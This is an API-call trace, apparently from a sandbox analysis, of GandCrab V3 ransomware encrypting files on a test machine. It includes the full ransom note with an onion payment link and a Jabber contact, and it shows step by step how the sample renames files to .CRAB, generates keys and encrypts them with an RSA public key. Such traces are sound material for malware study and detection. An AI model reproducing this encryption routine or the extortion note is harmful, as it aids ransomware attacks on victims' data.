	[0125.583] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0125.583] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0125.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0125.583] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0125.583] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0125.583] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.583] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\\\CRAB-DECRYPT.txt") returned 59
	[0125.583] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.584] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0125.584] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0125.585] CloseHandle (hObject=0x3e8) returned 1
	[0125.585] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.585] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\") returned 42
	[0125.585] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\*"
	[0125.585] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x3158b80
	[0125.585] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0125.585] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.586] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0125.586] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0125.586] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.586] lstrcmpW (lpString1="7MmCJyo8.avi", lpString2=".") returned 1
	[0125.586] lstrcmpW (lpString1="7MmCJyo8.avi", lpString2="..") returned 1
	[0125.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="7MmCJyo8.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi"
	[0125.586] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.586] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi") returned 54
	[0125.586] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi") returned 54
	[0125.586] lstrlenW (lpString=".avi") returned 4
	[0125.586] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.586] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0125.587] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi") returned 54
	[0125.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi") returned 54
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="desktop.ini") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="autorun.inf") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="ntuser.dat") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="iconcache.db") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="bootsect.bak") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="boot.ini") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="ntuser.dat.log") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="thumbs.db") returned -1
	[0125.587] lstrcmpiW (lpString1="7MmCJyo8.avi", lpString2="CRAB-DECRYPT.txt") returned -1
	[0125.587] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.587] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB") returned 59
	[0125.588] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\7mmcjyo8.avi")) returned 0x20
	[0125.588] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi", dwFileAttributes=0x20) returned 1
	[0125.588] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\7mmcjyo8.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\7mmcjyo8.avi.crab")) returned 1
	[0125.589] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.589] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB"
	[0125.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB.CRAB"
	[0125.589] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0125.590] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.590] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.591] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0125.591] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.591] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.591] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0125.591] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.592] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.592] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0125.592] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.592] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.592] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.593] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.593] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0125.594] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3158f40) returned 1
	[0125.594] CryptGetKeyParam (in: hKey=0x3158f40, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0125.594] CryptEncrypt (in: hKey=0x3158f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0125.594] GetLastError () returned 0x0
	[0125.594] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.594] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0125.595] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3158f80) returned 1
	[0125.595] CryptGetKeyParam (in: hKey=0x3158f80, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0125.595] CryptEncrypt (in: hKey=0x3158f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0125.595] GetLastError () returned 0x0
	[0125.595] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.595] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\7MmCJyo8.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\7mmcjyo8.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0125.596] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.596] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.596] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x9308, lpOverlapped=0x0) returned 1
	[0125.610] VirtualAlloc (lpAddress=0x0, dwSize=0x9310, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.611] VirtualAlloc (lpAddress=0x0, dwSize=0x9310, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.612] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.613] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff6cf8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.613] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x9310, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x9310, lpOverlapped=0x0) returned 1
	[0125.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.613] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.617] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.617] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.617] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0125.617] CloseHandle (hObject=0x3ec) returned 1
	[0125.618] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.618] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.618] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.618] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.618] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.619] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.619] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.619] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0125.619] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0125.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt"
	[0125.619] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.619] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt") returned 58
	[0125.620] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt") returned 58
	[0125.620] lstrlenW (lpString=".txt") returned 4
	[0125.620] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.621] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0125.621] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.621] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt") returned 58
	[0125.621] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CRAB-DECRYPT.txt") returned 58
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0125.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0125.621] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.622] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.622] lstrcmpW (lpString1="CzbfoDLAlNUP.avi", lpString2=".") returned 1
	[0125.622] lstrcmpW (lpString1="CzbfoDLAlNUP.avi", lpString2="..") returned 1
	[0125.622] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="CzbfoDLAlNUP.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi"
	[0125.622] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.622] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi") returned 58
	[0125.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi") returned 58
	[0125.622] lstrlenW (lpString=".avi") returned 4
	[0125.622] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.622] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0125.623] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi") returned 58
	[0125.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi") returned 58
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="desktop.ini") returned -1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="autorun.inf") returned 1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="ntuser.dat") returned -1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="iconcache.db") returned -1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="bootsect.bak") returned 1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="boot.ini") returned 1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="ntuser.dat.log") returned -1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="thumbs.db") returned -1
	[0125.623] lstrcmpiW (lpString1="CzbfoDLAlNUP.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.623] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.623] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB") returned 63
	[0125.624] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\czbfodlalnup.avi")) returned 0x20
	[0125.624] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi", dwFileAttributes=0x20) returned 1
	[0125.624] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\czbfodlalnup.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\czbfodlalnup.avi.crab")) returned 1
	[0125.627] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.627] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB"
	[0125.627] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB.CRAB"
	[0125.627] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0125.627] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.628] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.628] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0125.628] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.628] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.628] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0125.629] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.629] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.633] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.633] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0125.633] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.633] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.633] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.634] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.634] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ec00) returned 1
	[0125.634] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31589c0) returned 1
	[0125.635] CryptGetKeyParam (in: hKey=0x31589c0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0125.635] CryptEncrypt (in: hKey=0x31589c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0125.635] GetLastError () returned 0x0
	[0125.635] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0125.635] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0125.637] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3158a00) returned 1
	[0125.637] CryptGetKeyParam (in: hKey=0x3158a00, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
